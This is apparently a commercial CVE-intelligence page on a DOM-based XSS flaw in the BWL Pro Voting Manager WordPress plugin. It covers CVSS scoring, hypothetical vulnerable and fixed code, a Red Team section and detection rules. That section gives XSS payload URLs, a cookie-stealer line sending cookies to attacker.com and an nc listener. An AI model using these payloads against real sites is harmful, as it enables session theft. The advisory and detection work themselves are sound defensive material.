☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Xenioushk logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-68991

CVE-2025-68991 Cross-Site Scripting in Xenioushk
📅 PUBLISHED: 2025-12-30 11:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.03%
👁️
0.03% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-68991 is a DOM-Based Cross-Site Scripting (XSS) vulnerability affecting the BWL Pro Voting Manager WordPress plugin (slug: bwl-pro-voting-manager) by vendor Xenioushk. The vulnerability exists in versions up to and including 1.4.9. It stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject malicious scripts that execute in the context of the victim's browser. Since this is a DOM-based XSS, the payload is processed entirely client-side, often without server-side reflection, making it harder to detect via traditional WAF rules. The CVSS score of 6.5 (Medium) reflects the need for user interaction and the potential for partial confidentiality, integrity, and availability impact.

WordPress Ecosystem Context: This vulnerability is specific to the WordPress plugin ecosystem. The vulnerable component is the bwl-pro-voting-manager plugin, not the underlying web server (Apache/Nginx). Attackers can exploit this by crafting a malicious link or embedding the payload in a page that a logged-in administrator or editor visits, leading to session hijacking, defacement, or redirection.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This is a WordPress plugin distributed via the official WordPress plugin repository and potentially third-party marketplaces. The lack of a patch (status: UNKNOWN/UNPATCHED) means that all sites running version 1.4.9 or earlier are at risk. Administrators should immediately disable the plugin until a fix is released. The plugin's update mechanism may not be reliable if the vendor is unresponsive. Supply chain risk is elevated because the plugin is a third-party component integrated into WordPress, and no official patch or advisory has been published.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
  • Base Score: 6.5 (Medium)
  • Attack Vector (AV): Network – the vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low – no special conditions required.
  • Privileges Required (PR): None – no authentication needed to trigger the XSS.
  • User Interaction (UI): Required – the victim must click a crafted link or visit a malicious page.
  • Scope (S): Changed – the injected script can affect resources beyond the vulnerable component.
  • Confidentiality (C): Low – limited data exposure (e.g., session tokens).
  • Integrity (I): Low – limited ability to modify content.
  • Availability (A): Low – limited ability to disrupt service.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the widespread use of WordPress plugins increase the real-world risk. DOM-based XSS can bypass many server-side filters and is often used in targeted attacks.

Deep Dive & Mechanics

The vulnerability is a DOM-Based XSS in the BWL Pro Voting Manager plugin. Unlike reflected or stored XSS, DOM-based XSS occurs when JavaScript in the page reads user-controlled data (e.g., from document.location, document.URL, or window.name) and writes it to the DOM in an unsafe manner. In this plugin, the vulnerable code likely processes URL fragments or query parameters without proper sanitization, then injects them into the page's HTML.

Attack Flow:

  1. An attacker crafts a URL containing a malicious payload in a parameter or fragment (e.g., https://victim.com/?vote_id=<script>alert(1)</script>).
  2. The victim (often an admin) clicks the link.
  3. The plugin's JavaScript reads the parameter value and writes it to the DOM (e.g., via innerHTML or document.write).
  4. The browser executes the injected script, allowing the attacker to steal cookies, redirect the user, or perform actions on their behalf.

Root Cause: The plugin fails to sanitize input before using it in DOM manipulation functions. Common sinks include innerHTML, outerHTML, document.write, and eval.

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable pattern. A typical vulnerable code snippet in a WordPress plugin might look like:

// Vulnerable code (hypothetical)
var voteId = new URLSearchParams(window.location.search).get('vote_id');
document.getElementById('vote-container').innerHTML = 'Vote ID: ' + voteId;

A patched version would sanitize the input:

// Patched code (hypothetical)
var voteId = new URLSearchParams(window.location.search).get('vote_id');
var safeVoteId = document.createTextNode(voteId);
document.getElementById('vote-container').appendChild(safeVoteId);

Or use a library like DOMPurify:

// Patched code using DOMPurify
var voteId = new URLSearchParams(window.location.search).get('vote_id');
document.getElementById('vote-container').innerHTML = DOMPurify.sanitize('Vote ID: ' + voteId);

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site with BWL Pro Voting Manager <= 1.4.9 installed and activated.
  • A victim user (e.g., admin) who will click the crafted link.

Exploit Payload: Since no public exploit code is available, we construct a proof-of-concept. The exact parameter name is unknown, but we assume vote_id or poll_id.

<!-- PoC: Crafted URL -->
https://victim.com/?vote_id=<img src=x onerror=alert('XSS')>

Step-by-Step:

  1. Identify the vulnerable parameter by analyzing the plugin's JavaScript files (e.g., bwl-pro-voting-manager/js/frontend.js).
  2. Craft a URL with the payload in the vulnerable parameter.
  3. Send the link to the victim via email, social engineering, or a compromised page.
  4. When the victim clicks, the script executes. For a more advanced attack, steal cookies:
// Cookie stealer payload
new Image().src='http://attacker.com/steal?cookie='+document.cookie;

Lab Setup:

  • Use a local WordPress installation (e.g., via Docker) with the vulnerable plugin.
  • Set up a listener (e.g., nc -lvnp 80 or a simple HTTP server) to capture exfiltrated data.

Blue Team (Detection & Hardening)

Detection:

  • Monitor for unusual URL parameters containing script tags or event handlers.
  • Use browser-based XSS filters (e.g., X-XSS-Protection header, though deprecated).
  • Deploy a Web Application Firewall (WAF) with rules to block common XSS patterns.

Hardening:

  • Disable the plugin immediately if no patch is available.
  • Implement Content Security Policy (CSP) headers to restrict script execution.
  • Use a WordPress security plugin that monitors file integrity and blocks malicious requests.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Requests to victim.com with parameters containing <script>, onerror, onload, or javascript:.
    • Outbound connections to attacker-controlled domains (e.g., attacker.com/steal?cookie=...).
  • Host IOCs:
    • Unusual entries in WordPress access logs with long query strings.
    • Modified plugin files (if the attacker uploads a backdoor).
  • File IOCs:
    • Suspicious JavaScript files in wp-content/plugins/bwl-pro-voting-manager/ that contain innerHTML or document.write with unsanitized input.

Detection Engineering

YARA Rule

rule CVE_2025_68991_DOM_XSS {
    meta:
        description = "Detects vulnerable BWL Pro Voting Manager plugin files with DOM XSS patterns"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-68991"
    strings:
        $sink1 = "innerHTML" nocase
        $sink2 = "outerHTML" nocase
        $sink3 = "document.write" nocase
        $param1 = "vote_id" nocase
        $param2 = "poll_id" nocase
    condition:
        any of ($sink*) and any of ($param*)
}

Sigma Rule

title: CVE-2025-68991 DOM XSS in BWL Pro Voting Manager
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with potential XSS payloads targeting the vulnerable plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '/wp-content/plugins/bwl-pro-voting-manager/'
        c-uri|contains|any:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of similar patterns in other plugins
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-68991 DOM XSS in BWL Pro Voting Manager"; flow:to_server,established; content:"/wp-content/plugins/bwl-pro-voting-manager/"; http_uri; pcre:"/(<script|onerror=|onload=|javascript:)/i"; classtype:web-application-attack; sid:10000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin – Deactivate and delete bwl-pro-voting-manager until a patch is released.
  2. Apply virtual patching – Use a WAF to block requests containing XSS patterns in query parameters.
  3. Audit user activity – Check for any unauthorized admin actions that may have been performed via XSS.

Long-Term Fixes:

  • Monitor the vendor's website or WordPress plugin repository for an update.
  • If the plugin is critical, consider forking it and applying the fix yourself (sanitize all DOM inputs).
  • Implement a Content Security Policy (CSP) with script-src 'self' to prevent inline script execution.

Workaround:

  • If the plugin cannot be disabled, modify the JavaScript file to sanitize input using textContent instead of innerHTML. However, this will be overwritten on plugin update.

Valters IT – Securing digital ecosystems with precision.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"bwl-pro-voting-manager"
http.html:"wp-content/plugins/bwl-pro-voting-manager"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-68991/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.